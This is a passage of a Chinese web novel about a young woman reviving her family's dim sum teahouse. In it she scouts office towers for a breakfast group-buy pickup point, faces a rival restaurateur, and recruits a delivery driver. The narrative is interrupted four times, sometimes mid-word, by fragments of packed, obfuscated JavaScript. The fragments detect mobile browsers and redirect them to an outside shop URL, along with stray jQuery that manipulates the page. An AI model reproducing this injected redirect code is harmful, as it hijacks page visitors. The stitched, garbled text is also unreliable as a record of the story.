可看见这份详细的计划书才发现,果然餐饮业不是什么人都能干得了啊!
怪不得小夏都累得直接睡着了,做生意也太难了吧。
何玉强一把抱住夏咏恩,对她的崇拜之情,已是溢出言表,恨不得亲上一口,“你怎么这么棒呢,我要抱你的大腿,天天在这里蹭吃蹭喝。”
夏咏恩推开何玉强的头,“那你可真是想错了,我这里可不养闲人,我有一个重要的任务要交给你。”
她指了指计划书的第一条,要想知道这些写字楼的内部情况,首先就得进去看看。可这些写字楼出入都得刷卡,访客还要在前台登记,前台和到访的公司确认过后才会放行。
何玉强挑了挑眉,“简单啊,我们去看办公室不就行了吗!”
次日,周二一早,何玉强租了一辆奔驰,带着夏咏恩往荔江新城去。
两人首先来到的,是花城国际金融大厦,也是李敏瑶公司的所在地。
之所以第一站就来这里,是因为何玉强对这里比较熟悉,之前她住的四季酒店,就在这个大厦的高层。
今天夏咏恩把自己大四面试的衣服拿出来穿了,而何玉强则穿了一套比较俏皮的西装,头顶墨镜,脚踩皮靴,大摇大摆地走进了其中一栋写字楼里。
有两个一米八的大帅哥引着二人往写字楼里走,“何总,您请。”
夏咏恩提着包跟在何玉强后面,忍不住朝四周打量,周围都是行色匆匆的白领们,不少人手里都捧着一杯咖啡,谈论的也都是股票、基金还有国际形势。
可谁又能想到,这些白领中的绝大部分人也会为生计而烦恼,点外卖要用膨胀神券,外出吃饭也要上小众点评看一眼有没有团购券。
其实,大家都只是普通人而已嘛,日常的生活都离不开吃食住行这四个字。
两个帅哥引着何玉强和夏咏恩上二十楼,那是大厦的招商办公室。
拥挤的电梯里,夏咏恩听见前面的两个女生在小声谈道,“你这早餐是在哪里买的?好吃吗?”
“我在楼下奶茶店买的,一杯绿茶加一个贝果十四块九,还挺好吃的。”
“咦?那还怪便宜的,要是这贝果能加点东西就好了。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17512228|202321||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“加了肉蛋那就不是这个价格啦!我跟你说,你加入这个店的粉丝群后,会送你一个二十五减三的优惠券……”
夏咏恩不动声色地听着二人的对话,忍不住在心里想到:等以后有了团购,你们就不用再啃这硬邦邦干巴巴的贝果了!
电梯抵达二十楼后,出来迎接二人的是招商部的经理。经理笑呵呵问,“何总真是年轻有为,不知道何总公司主要做的是什么生意呢?我们也好给您推荐合适的办公室。”
何玉强翘起二郎腿,甩着手上的车钥匙玩,“也不是什么大生意,平时就做做葡萄酒的进出口业务,一年下来赚得也不多。”
“葡萄酒啊,葡萄酒好啊,现在国内的葡萄酒市场正是快速上升的时候,何总真是厉害啊!”
“唉不行了,今年葡萄酒进口总量都降了二十个点,我们的生意啊,不好做咯,”何玉强轻叹一声,无奈地笑了笑,“所以啊,我最近开了一间新的公司,专门负责搞自媒体的。”
“但没想到自媒体也是不好搞啊,所以我又投资了一个朋友的公司,是卖保健品的,今天来呢就是想给三个公司都找个办公室。”
经理双眼一亮,这人是大客户啊,恐怕自己今年的KPI都有着落了!
而且眼前这个女生一看知道是富二代,估计是拿家里的钱出来创业的,这种人哪,最容易忽悠了。
“不知道何总的公司大概有多少员工呢?”
何玉强想了想,“葡萄酒公司那边有两百来个吧,自媒体公司刚搞,也就十几个人,保健品公司多一点,七八十人吧。”
眼看天降财神,经理赶紧拿出大厦的户型图,把所有闲置的办公室全部都跟何玉强简单说了一遍,“何总,您有没有意向的办公室呢?”
何玉强只看了几眼,就把户型图推给了对方,“就这样看,我哪里能看出个好歹,你不能带我到现场看看吗?”
经理有些为难,为了不影响正常办公,以往来租办公室的,都是先看户型图挑选几个心仪的办公室,再带人实地看的。
可这人一上来就要把所有闲置的办公室都看一个遍,整栋大厦一共六十层,闲置的办公室零零散散地分布在各层,要是陪她认真看一遍,恐怕今天一整天都看不完!
夏咏恩见状,便开口道,“何总,您下午还有会,要是一间间看过去的话,恐怕时间来不及了。”
“那就全推了,什么事情都没有看办公室重要,这开公司啊,就重要的就是办公室的风水,风水不好,生意白干,”何玉强一边用新做的延长甲敲着桌面,一边又看向经理,“你说是吧?”
经理赶紧起身,“何总说得对,两位请随我到这边来。”
陪着看一天算什么,只要能拿下这个大客户,年末的奖金就是我的了!
两人跟着经理差不多把六十层都看了一个遍,何玉强摘下墨镜,又轻叹了一口气,“唉,看了一整天,也没有个合适的。”
经理在一旁赶紧找补,“何总,我看您刚刚看的55层那一间就不错,对外就是江景和花城塔,视线很好的……”
与此同时,他也在心里嘀咕,这人就随便看看,也不问具体的内容,倒是身后的那个秘书看得认真,总是低头在记着些什么。
何玉强装作烦闷的模样,吹了吹美甲上的灰尘,“唉,再看看吧,下次我找个黄道吉日再过来——”
随着“叮”的一声,电梯门缓缓打开。何玉强的话还没说完,就愣住了。
只见电梯门外,一个男人惊讶地开口,“学妹?你怎么在这里?”
28. 选址踩点
何玉强也是一惊,“吴帆?你怎么在这里?”
来人吴帆是何玉强在辩论队认识的学长,他比何玉强和夏咏恩大两届。自他毕业后,两人许久没见过了。
“我在这里的一个公司上班,”吴帆走进电梯,“刚第一眼我都没认出你,要不是听见你的声音,我怕是认不出来了。”
夏咏恩对着吴帆点了点头,“吴学长,好久不见了。”
“你是……你是小夏对吧,我听玉强提起过你,听说你回来继承家业了,怎么——”吴帆看了看夏咏恩的打扮,又往何玉强身上瞧。
夏咏恩笑了笑,“哦,我今天有空,就过来陪她看办公室。”
吴帆疑惑,“玉强,你家拉链厂要在这里开分公司啊?”
经理闻言不禁瞪大了双眼,什么拉链厂,不是葡萄酒外贸公司吗?
何玉强摸了摸鼻子,有些尴尬,“这年头经济不好,拉链厂也不好做了,所以工厂就转型卖葡萄酒了呗。”
吴帆有些吃惊,从拉链厂转到葡萄酒,这跨度也太大了吧,“我怎么记得,你家是做出口生意的?”
“是啊,这不是都因为那个漂亮国总统,制裁了我们国家出口的东西,我家拉链厂也在制裁名单上了,你说一个小小的拉链,也成漂亮国的眼中钉了,你说这事搞的真是……”
何玉强和吴帆有一搭没一搭地聊着,好不容易电梯到了一楼,何玉强如释重负,转过头对经理说,“那个,今天就这样了啊,我赶时间回去开会,下次我再来看啊。”
经理愣了愣,大声喊道,“何总慢走,您再仔细考虑考虑,有合适的记得联系我啊!”
等他回到办公室,心中却还在不断琢磨,一个拉链,能有什么高科技,居然能进漂亮国的制裁名单里?
大厦一楼,吴帆从两人身后走上来,“玉强,我看你刚刚都是诓我的吧?”
何玉强睁大眼睛,“没有啊,我说的可都是实话,不信你问小夏。”
夏咏恩尴尬一笑,赶紧转了个话题,“学长,你在哪一家公司上班啊?”
中文系的就业一向是个难题,大多数人都选择了考公考研考编这三条路。而吴帆毕业后则花了一年多的时间通过了法考,现在是一名实习律师。
谈起平日上班的花费,他也是无奈摇头,“我现在每个月月薪就三千,房租就要一千五,剩下一千五哪里够我吃得起饭啊!”
为了省钱,他很久之前就不吃早餐了,中午就吃从家里带来的饼干和鸡蛋,等晚上回家就点点拼好饭。
听他诉苦后,夏咏恩把自己的团购计划说了出来,吴帆听后眼前一亮,“好啊,你要是搞了,我肯定第一时间支持。”
律所里还有许多跟自己一样命苦的实习律师,要是以后能吃上又便宜又美味的早餐,打电话跟书记员吵架都多几分力气。
三人又聊了一会,临走时,吴帆开口邀请夏咏恩和何玉强参加下个月的校友聚会,“你们两个可一定要来啊,本来在花城的校友就不多了,大家伙聚一聚,联络联络感情也好啊!”
今日这一趟,夏咏恩的收获颇多,不仅大致了解了这一栋大厦内公司的情况,机缘巧合之下还和吴帆搭上了线。
之后的一周,夏咏恩和何玉强将荔江新城附近大大小小十多座写字楼全部都探了个遍,除此以外,也在附近的大型商场转了一圈。
荔江新城虽然高楼大厦密集,可大型的商场只有五个,而商场里的餐饮店全都是走高端路线的,因此推出的早餐就跟徐梦和李敏瑶说的一样,不仅价格贵还不顶饱。
而且这些餐饮店大多都是在商场的五六层,来买个早餐还得上许多层电梯,一点都不方便。
就这样看下来,别说是夏咏恩了,就连何玉强也能感受得到,这绝对是一个大大的商机!
只不过,荔江新城的区域特别大,若想要找一个合适的取餐点,确实是不太容易。
这几日,虽然夏咏恩对这附近的情况有了初步的了解,但也只不过是走马观花而已,详细的情况还得是在这里上班的人才知道,因此又给李敏瑶、徐梦和吴帆发去了消息。
李敏瑶回复,“要我说,你们不如就把取餐点设置在我公司负一层好了,那里可以直通华汇城。”
华汇城?夏咏恩有些疑惑,她对荔江新城附近还没有那么熟,不知道为什么李敏瑶会特意提到这里。
她又问了一下徐梦和吴帆,没想到他俩也推荐将取餐点设置在华汇城附近。
这下,夏咏恩不得不研究一下华汇城了。
对着地图看了许久,又问过徐梦三人,她才明白,这华汇城,当真是了不得啊!
华汇城是一个庞大的地下商城,分成北中南三个区域,就处在花城的中轴线上,在华汇城一出来,就能看到不远处的花城塔,因此很多游客都会来到这里打卡。
不仅如此,由于华汇城规模很大,所以将这一整个片区大部分写字楼、商场都串了起来,通过不同的出入口就可以抵达不同的写字楼。
因此,平时华汇城的人流量是这附近商场里最多的,一到工作日,这里头的商铺全都爆满。
而吴帆甚至直接指了一个明确的位置给夏咏恩,“我们大楼负一层去往华汇城的通道那有一个小门,小门推出去就是一个放外卖的地方,有四列外卖柜在那里放着,你们干脆就把取餐点设在那里好了。”
经过夏咏恩的实地考察,吴帆所说的位置确实不错。
这个放外卖柜的地方,左手边出去就是华汇城,右手边转身上楼梯直通地面,方便骑手来送餐。
因此,到时候只要把车子开到附近的地面就可以卸货,不用从车库辛辛苦苦拉到华汇城里,还能省点停车费。
周五的晚上,夏咏恩拉着何玉强与珍姨,对着前几日的调查数据不断分析。
珍姨翻了翻文件,就合上了双眼,“不行了,这跟看天书有什么区别,我都五六十岁的人了,实在是看不懂。”
何玉强一只手托着腮,也忍不住打了个哈欠,这几天她和夏咏恩早出晚归,每天都困得不行,然而夏咏恩下午还得赶回来去学校摆摊。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17514808|202321||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>想到这里,何玉强便又坐直了身子,重新振作起来。
“这样吧,我们就把取餐点初定在吴帆说的那个地方,如果有什么问题,之后再调整吧。”
夏咏恩转了转笔,把计划书上的所有计划都划去了。现在前期的调研已经做完了,剩下的就是行动了。
可一说到行动,就有两个绕不开的障碍,那就是团购系统与运输的问题。
想要做团购,最简单的就是搞一个小程序。夏咏恩本以为做一个小程序很简单,想着要不自己做一个,可查了一下才发现,做小程序不仅要写代码,还要做接口开发和调试,后续还要不断维护。
要是平时,她自己研究研究就捣鼓出来了。可现在每天都那么忙,根本就抽不出时间。
然而夏咏恩没想到,小程序的问题竟然被何玉强轻松地解决了。
“哎呀我来做就行了,这么简单的小程序,不用三天就能给你搞出来。”
夏咏恩震惊,“啊?你什么时候学会的?”
之前为了庆祝偶像出道十周年,何玉强捣鼓了一个小程序,在上面可以查到偶像的各种同款,并且保持实时更新。
这个同款小程序一经推出,就在圈子里火了,就连偶像本人都曾经在社交媒体上发过这个小程序。
还是那句话,自从开始追星后,她就变成了十项全能。
花开两朵各表一枝,明心楼的顶层办公室内,孙跃龙的秘书站在桌前说道,“老板,夏咏恩在荣兴楼门前卖起了早餐。”
孙跃龙接过他递过来的手机,屏幕上显示的人,正是夏咏恩和赖美珍在早餐铺前忙碌的场景。
他挑了挑眉,“珍姨也被她招揽回去了?呵呵,有意思。”
本以为夏咏恩会一蹶不振,可没想到这人竟然还有点能耐。
只不过嘛,用脑子想想就知道了,方萍做的点心味道一般,更别说是夏咏恩了,她才学了多久啊,做出来的东西,能吃吗?
至于赖美珍,那就更加不值一提了。
秘书开口问,“老板,我们要不要找人去荣兴楼看看?听说她们的生意很好。”
“你脑子坏掉了?还是你很想去尝一下?”孙跃龙嗤之以鼻,这些住在老城区的人嘛都没什么钱,最注重的就是性价比,价格便宜自然能卖得好。
“随便她们去吧,就算卖出几千几万个生肉包,那也不过是一间街边的早餐铺而已。”
就在此时,孙跃龙手机里的明日头条APP弹出一条消息:群雁荟行政总厨石逸大师宣布退休!作为一代厨神,他曾接待过日不落女王,其制作的白兔虾饺令女王舍不得下口,甚至要打包带回日不落帝国……
他盯着这条新闻深思许久,随后脸上露出了丝丝笑意。
“比起荣兴楼,这条新闻更值得我们关注。”
如果可以将石逸大师请来明心楼,那明心楼进入花城粤厨协会的砝码便能大大增加。
想到此处,他立马对秘书道,“你快去查查石逸大师的资料,看看我们有没有什么办法接近这个人。”
29. 南北杏川贝炖雪梨
九月,已至秋分,花城的天气依旧炎热,却比春夏两季要更为干燥。
因此,花城每一家灶炉上煲着的老火靓汤也顺着时令,变成了滋阴润燥、润肺生津为主要功效的老火靓汤。
春季,花城的天气潮湿多变,老火汤的功效以疏肝解郁、增强免疫力为主;夏季气候炎热且常年打台风下雨,老火汤的功效以清热解暑、利水消肿为主;冬季气温寒冷,功效以补气养血,温补阳气为主。
网上常说冰美式是韩国人的血,那对于花城人来说,老火靓汤就是花城人的血。自然也会有人争论,糖水和凉茶在花城人心目中的地位也十分重要。
不过赖美珍则认为,糖水和凉茶也不是常喝的东西,喝起来也有一些禁忌,并非老少咸宜。而且制作过程繁琐,现在许多人都习惯在外面买了。
老火靓汤就不一样了,既有药补之效,喝起来又美味,还根据汤料的变化,可以煲出成千上万种不同味道、不同功效的老火靓汤出来。
制作方法也并不复杂,只要将原材料稍微处理后倒进瓦煲里就可以了。
尽管随着认知的进步,大家逐渐意识到,其实老火靓汤真正的营养都在肉里,而汤里含有的嘌呤反而会对人体健康有害。
可对于花城人来说,从小到大喝惯的老火靓汤早已融入血液里,没有什么事情是一碗靓汤解决不了的!
因此,花城人家家户户都会自己煲制老火靓汤,许许多多汤料铺和海味铺应运而生,甚至还形成了汤料批发一条街。
赖美珍今日煲的是南北杏川贝炖雪梨,夏咏恩靠近汤瓦煲轻嗅,“哇,这汤闻起来也太香了吧!”
何玉强用汤勺搅了搅,汤的表层浮着一层薄薄的油,汤色清亮,呈现出淡淡的蜜色,汤里还有排骨和姜片。她问道,“南北杏是什么啊?”
“南北杏就是北杏仁和南杏仁按照1:4的比例混合,这样可以同时发挥两种杏仁的功效,”赖美珍舀出三碗汤,“这汤润肺清燥,利咽润喉,最适合经常用嗓子的人喝了。”
随着早餐铺的生意越来越好,现在一天下来夏咏恩的嗓子就干得冒烟,喝再多水也没有用,于是她就买了一些胖大海回来泡水喝,但胖大海也不能喝多,所以珍姨便特意煲了这锅老火汤。
夏咏恩乖乖坐下喝汤,第一口喝下去,能喝到一股独属于雪梨的清甜味。雪梨中和了南北杏与川贝的苦味,在舌根留下淡淡的回甘。
带了一点肥肉的排骨炖得骨肉分离,一咬就脱骨了,而且经过两个小时的煲制,排骨吸收了汤的味道,吃起来十分清甜。雪梨已炖得有些烂乎,吸满了汤汁,入口即化。
喝完一整碗汤,喉咙十分滋润还带有一些清凉感,果然舒服多了。
除了这锅老火汤外,今日餐桌上还摆了八道菜,之所以吃得如此丰盛,是因为今日是一年一度的中秋节。
作为客人,何玉强贡献出了自己的拿手菜,凉拌黄瓜以及番茄炒蛋。
而餐桌上的椒盐基围虾、紫苏炒田螺、榄菜肉沫蒸客都豆腐、蒜蓉粉丝蒸大蛏子,则是赖美珍的手艺。
而桌上剩下的两道菜,是一碟干炒牛河,还有一碗艇仔粥。
赖美珍十分惊讶,“这是你新学的点心?什么时候学会的,我都没留意。”
粤式茶楼里,不仅售卖虾饺、干蒸烧卖这一类蒸点,也售卖像香煎玉米饼的煎物,咸水角、咸煎饼等炸物,还有叉烧酥、酥皮蛋挞这类烤物。
而干炒牛河、各种粥类、拉肠、猪肠粉这些菜品,虽然形式上并不像传统的点心,但依旧会在茶楼里出售,久而久之,也被归为了点心一类。
何玉强伸出筷子,夹了几条河粉品尝,每一条牛河上都被酱油浸成深褐色,稍微一拨就能看见河粉上挂着的油,“这炒得也太好吃了,比我之前外卖买的都好吃多了。”
她又舀了小半碗艇仔粥,粥里有鱿鱼丝、猪皮、花生、鸡蛋丝,颜色不一,看上去就十分有食欲,“这个也好吃,喝起来好鲜甜。”
听何玉强不断夸口,赖美珍也动了筷子,谁想夏咏恩淡淡一笑,“这些不是我做的,是我去明心楼打包回来的。”
“啊?”赖美珍脸色一变,顿时不知道说什么才好,“你、你怎么去了明心楼?”
何玉强不知道个中原因,但见气氛尴尬,也连忙放下了筷子,装作若无其事地玩起了手机。
“明心楼又不是阴曹地府,也没什么可怕的,再说了,我只不过是一个普通的食客而已。”
夏咏恩给自己舀了一碗艇仔粥,又在粥面上放了几条牛河。
牛河的油被带到了粥里,令清甜的艇仔粥,喝起来更带了一层镬气,而微微被粥浸湿的牛河减少了一丝油腻,两者搭配在一起,简直就是完美的组合。
自从她回来花城后,一直都没有亲自去过明心楼,对于明心楼和孙跃龙的印象,只是依靠方萍阿姨留下来的经营日志,以及珍姨口中的只言片语而来的。
既然重开荣兴楼是必然之事,正所谓,知己知彼才能百战不殆,对于明心楼这个宿敌,夏咏恩早就想亲自登门一探究竟。
她这次去明心楼便发现,明心楼的点心确实做得不错,装潢颇为时髦,茶楼里服务员也是经过一番培训的,想来孙跃龙确实做了不少工夫。
孙跃龙其人,夏咏恩从未见过,孙跃龙与方家之间的恩怨,她也不知道个中内情。
但说实话,孙跃龙究竟是因为什么原因从荣兴楼出走,她并不在乎。
孙跃龙先背离师门自立门户,又抢走方萍阿姨请来的点心师傅,在她的心里,明心楼和孙跃龙早就是死敌,新仇旧恨加在一起,两家茶楼早已形成不死不休之势。
夏咏恩有强烈的预感,等荣兴楼重开,明心楼一定会动作频频。如今明心楼生意兴隆,前景大好,而荣兴楼大门紧闭,想要替方家报仇,谈何容易?
等到夜深,万里无云,月亮高高地挂起,夏咏恩抬头望天,不管怎么样,重开荣兴楼的事还得一步步来,等到那时,自己一定会让孙跃龙付出应有的代价。
……
何玉强花了三天做好了小程序,每一样点心都附上了一张实拍图,照片也是她自己亲自拍摄的,特意打了光又进行后期的调色,看上去很是诱
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517369|202321||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人。
在每一个点心的详情页内,还有点心的配料说明,方便食客挑选。
原本这拍照的事情是夏咏恩负责的,但何玉强看了她拍的照片后,眼前一黑,指着手机屏幕上那张连对焦都没对准的咸煎饼实拍图说,“不知道的还以为是橡胶圈呢!”
夏咏恩干脆退位让贤,而作为一名专业的站姐,何玉强拍的美食照片果然十分好看,就连夏咏恩和珍姨翻看照片的时候,也忍不住咽了咽口水。
因为要加上运输与人力的成本,团购上所有点心的价格都增加了五毛钱。
原本夏咏恩是想像外卖那样,等结算时再统一收取配送费,可她又仔细想了想,平时自己点外卖的时候,一见到要收取配送费,马上就不想点餐了。
这样的心理,应该跟买东西看见要收取邮费就不想买是一样的吧。所以,她干脆就把增加的成本摊到了点心的价格上。
团购小程序做好之后,还要提交绿泡泡官方审核,最快也要一周的时间才能开始使用。
等待审核的期间,因为中秋节假期的缘故,美食广场人流暴增,夏咏恩的系统任务顺利地完成了。
【阶段任务:十五日内食客认可度达到1000已完成!】
这阵子忙于团购的事情,加上常常和何玉强待在一块,夏咏恩分不出时间进无界空间练习厨艺。
上一次任务完成解锁的“奶黄包”和“核桃包”目前还停留在B等级,并没有拿到早餐铺出售,看来自己这几日得好好抓紧时间了,趁着团购上线前把两个包子提升到A等级,给食客们增加更多的可选择性,争取来一个开门红。
而令夏咏恩格外惊喜的是,这一次系统解锁的点心,竟然是酥皮蛋挞!
酥皮蛋挞是20世纪20年代由一名花城的点心师傅首创的,一开始其实叫岭南蛋钵,后来受到西方点心的影响,改称为岭南蛋挞。
当时做蛋挞的模具还是椭圆形的,形似珠江上的小艇,但80年代时,有一家茶楼的师傅开始将椭圆形的模具改成了圆形,并用酥皮来做蛋挞。
从此以后,酥皮蛋挞就风靡全城,成为了粤式点心中的代表,民间还将其与虾饺、干蒸烧卖、叉烧包一起列为点心的四大天王。
夏咏恩饶有兴致地看了看酥皮蛋挞的配方,要不是现在不方便,她都恨不得马上进无界空间练习厨艺,毕竟酥皮蛋挞可太好吃了,入口即化,非常适合老人和小孩品尝,等之后上市了,肯定会大受欢迎。
一想到以后自己能做出来香甜酥脆的蛋挞,夏咏恩就心情大好。
查看完点心图鉴,回到系统主页面,新的阶段任务已经出现了。
【阶段任务已更新:请在30日内将食客认可度提升至2000】
看完新的任务,夏咏恩松了一口气。还好自己想出了团购计划,只要小程序一上线,就会有源源不断的新客源。
要是之前为了能尽快完成任务,随便找个地铁站或者去到新的学校摆摊,那这个新的任务根本就不可能完成了。
只是,这最后的运输问题,夏咏恩还没想到解决办法。
30. 机遇与合作
关于运输的问题,这几天夏咏恩思考了许多。
货车的问题其实并不难,无论是租车还是买车,只要肯花钱就能解决。
虽然现在荣兴楼还负着债,但要是着急用钱,靠着现在各处摆摊以及早餐铺的收入,也不是掏不出来这笔钱,实在不行,也总能问何玉强先借着。
可令夏咏恩烦恼的是,现在她根本腾不出手去荔江新城送货,这就说明必须得额外再请一个人。
而这个负责送货的人,除了要会开车之外,最好是要做过生意的,头脑机灵些。
毕竟夏咏恩平日事忙,不可能常常到荔江新城那边,这样一来,团购的事基本上等于全交给这人了,无论遇到什么事情都得一个人应付。
因此,夏咏恩有了招人的打算,但面试了好一些人,都没将这个人选定下来。
其中自然也有不少好的人选,可夏咏恩还是怎么都不放心,毕竟这团购的计划可是之后赚钱的关键,还得是交到一个能信得过的人手里。
筛了好几轮后她也累了,不得不决定还是先找物流公司合作,再安排珍姨跟车派餐,然后再招新人来给自己打下手,不然光靠自己一个人,实在是做不完那么多点心。
只是这样一来,不仅要培训新人,还要珍姨在店铺和荔江新城两处奔波,总觉得安排得不够妥当。
赖美珍倒是对这个安排没有什么意见,早餐铺六点就开门了,她能帮忙做两个小时的点心,才出发去荔江新城,可以给夏咏恩减轻不少负担。
只是她担心,这找来的新人,也未必短时间内能够上岗,恐怕刚开始时还得靠夏咏恩一个人撑着店,又要做点心又要招呼客人,就怕到时候忙不过来。
其实夏咏恩想到了这个问题,可现在这个安排,已是她能想到的最好的办法了。
倒不如就走一步看一步吧,先试试这样安排能不能行得通,要是实在忙不过来,就再想办法解决。
至于物流公司那边,她也开始着手联系起来了,可由于之前从来都没有接触过这方面的事情,所以对这些公司到底哪一家靠谱,心里并没有底。
不过,这几个月她也算是接触了不少做餐饮的同行,说不准他们会有相熟的物流公司和送货师傅可以推荐。
隔日周六,夏咏恩来到美食广场,顺口就向烤串大哥提起了这事。
烤串大哥眯着眼睛想了想,“送货啊?我想想,我之前还真认识一个送货的,不过她现在回老家去了。”
夏咏恩原本亮起一丝希望的双眼很快又黯淡了下去,“那麻烦大哥帮我再问问其他人,有没有相熟的可以介绍。”
“哎妹子,你要送什么货物啊?”
她简单地把团购的事情说了一遍,烤串大哥摸了摸下巴,“哎,你别说,我还真想起来一个人。”
夏咏恩聚精会神地盯着他,只听他说道,“先前我听对面那卖酱香饼的夫妻说过,他们以前是跑运输的,也不知道我有没有记错。”
他又仔细想了想,激动地点了点头,“对对对,之前他们就是说酱香饼生意不好,然后想重操旧业来着,结果送了没几天货那男的就出事了,现在还在医院里躺着呢。”
烤串大哥此话一出,酱香饼夫妇的身影在夏咏恩的脑海中缓缓浮现。
她浑身打了一个激灵,会开车,还做过生意,能应付得了客人,这俩夫妻不就是负责团购最好的人选吗!
要是能让他们来负责团购,那自己就能放心一些,不用费尽心思找物流公司,也不必让珍姨在两处奔波,自然也不用再请一个新人了,
“大哥,你可算是帮了我大忙了!这两天你想吃什么随便拿,都算我的!”
烤串大哥呵呵笑,“我也没做啥,你可太客气了,要是以后有什么发财的项目,记得找我啊!”
两天后的周一中午,夏咏恩来到了省人民医院。
过了安检进大堂,看病的患者不计其数,夏咏恩提着果篮在人群中穿梭,来到了住院部门口。
她找烤串大哥要了酱香饼夫妇的联系方式,刚想拿出手机打电话,就见一个熟悉的身影从电梯里走了出来。
夏咏恩连忙走上去开口打招呼,那人脚步顿了顿,木讷的眼珠子微微转了转,“你、你是……那个卖钵仔糕的姑娘?”
沈红今年三十八岁,脸庞圆圆的,眼睛也是圆圆的,笑起来会弯成月牙,任谁第一眼见到她,都会对她产生好感。
往日她那张圆脸一向都是红扑扑的,可如今却变得黯淡发黄,以往充满了生气的双眼,如今只剩下了一片虚空。
她接过夏咏恩提来的果篮,果篮里装着新鲜的橙子、苹果、葡萄、桃子,还有两盒她从未吃过的蓝莓和车厘子。
果篮系着“早日康复”的塑料系带,沈红有些不可置信,“姑娘,你是特意来看我的吗?”
“是啊,沈大姐,我听烤串大哥说你们出事了,就想着来看看你们。”
夏咏恩跟着沈红走进病房,病房最里头的那一张床上,躺着一个瘦削的男人,病床旁的检测器正在发出滴滴滴的响动。
男人双目紧闭,脸色苍白,听到熟悉的脚步声后,虚弱地睁开了眼睛,对夏咏恩打了声招呼。
沈红给丈夫摇高了床,她坐在床边,让夏咏恩坐在病床边的那张椅子上,“姑娘,你有心了,我也不知道怎么谢谢你才好了。”
夏咏恩看向病床上的沈大哥,微微一叹,“大哥现在身体如何了?”
“医生说他恢复得不错,再住多一周就能出院了,只不过……”沈红忍不住眼眶一红,微微低下了头。
她和丈夫都不是花城的本地人,生了孩子后便和丈夫一起出来打工了。前些年两人换了许多城市打工,最后选择定居在花城,是因为这里生活成本低,人们的包容度高。
夫妻俩平日早出晚归,忙着挣钱养家,尽管租住在一个居民小区中,但和周围的邻居也是互不相识,在花城也没有什么来往的朋友。
如今丈夫出了事,身旁连个帮忙的人也没有,一直都是她在忙前忙后。
或许是因为夏咏恩是第一个来探望丈夫的人,沈红便小心翼翼地打开了话匣子,“其实这些年我们也攒了一点钱,虽说不是大富大贵,但也足够我俩还有老家的孩子与老人日常开销了。”
“只不过我俩想着,孩子明年就要上初中了,想送她去市里念书,就想再多赚一些钱,我老公就想着趁不摆摊的时候,重操老本行替别人送货。”
想起这半个月来的遭遇,沈红有些哽咽。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520276|202321||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
丈夫那日被车撞了后直接进了医院,车上的货物都毁损了一大半,而且腿上还受了伤,虽然做完了手术,但估计未来大半年都得留在家里休养,以后也不知道会不会留下什么后遗症。
更要紧的是,对方的车子没有买任何的商业险,也坚称自己没钱赔,而货主也因为货物损毁的事情,要求沈家赔偿。
先前攒下来的钱,因为医药费和赔偿损毁的货物早已没了大半,接下来还得给丈夫治疗腿伤,眼看着又是一大笔支出。
“我老公的事,家里的老人和孩子都不知道,可现在没法摆摊,孩子的生活费和学费真不知怎么办才好。”
沈红深深地吸了一口气,眨了眨湿润的双眼,“昨日我还给我老公商量,要是实在不行,就回老家算了。”
这半个月以来,她一面要照顾着病床上的丈夫,又要和肇事车主扯皮,还得应付追债的货主,早已是筋疲力尽。
然而她却不能将内心的脆弱展露在丈夫和孩子的面前,只能在夜深人静之时,躺在陪床上小声流泪。
而夏咏恩的安慰,恰好便触动了沈红内心的酸楚,她鼻子一皱,忍不住流下泪来。
“沈大姐,你别着急,我今日来,其实是有事想要拜托你的。”
沈红闻言抬起头来,泛着红的双眼尽是迷茫,“姑娘,你是在说笑吧,我有什么能帮上你的?”
“沈大姐,我想请您帮我的茶楼送货,不知道您愿不愿意。”
迎上夏咏恩诚挚的双眼,沈红错愕问,“这、这是什么意思?”
夏咏恩简单地介绍了一下关于团购的事宜,还没有等她说完,沈红的丈夫就看了过来,“姑娘,你说的可是真的?”
见夏咏恩重重地点了点头,沈红朝她投来难以置信的眼神,忍不住感叹道,“这是、这是大好的活计啊!”
